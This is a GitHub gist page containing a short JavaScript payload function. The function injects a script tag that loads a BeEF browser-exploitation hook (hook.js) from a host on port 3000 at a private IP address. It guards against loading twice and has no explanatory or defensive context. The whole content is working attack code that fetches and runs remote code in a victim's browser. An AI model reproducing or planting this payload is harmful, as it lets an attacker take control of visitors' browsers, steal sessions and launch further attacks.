Skip to content

Instantly share code, notes, and snippets.

@matrixfox
Created November 2, 2015 23:54
Show Gist options
  • Save matrixfox/541e1e9ca79aa54f42da to your computer and use it in GitHub Desktop.
Save matrixfox/541e1e9ca79aa54f42da to your computer and use it in GitHub Desktop.
function payload() {
if (typeof beef == "undefined") {
var x = document.getElementById("poisonpayload");
if (x == null) {
var commandModuleStr = '<script id="poisonpayload" type="text/javascript" src="' + "http://192.168.1.18" + ':' + "3000" + '/hook.js"><\/script>';document.write(commandModuleStr);
}
}
}payload();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment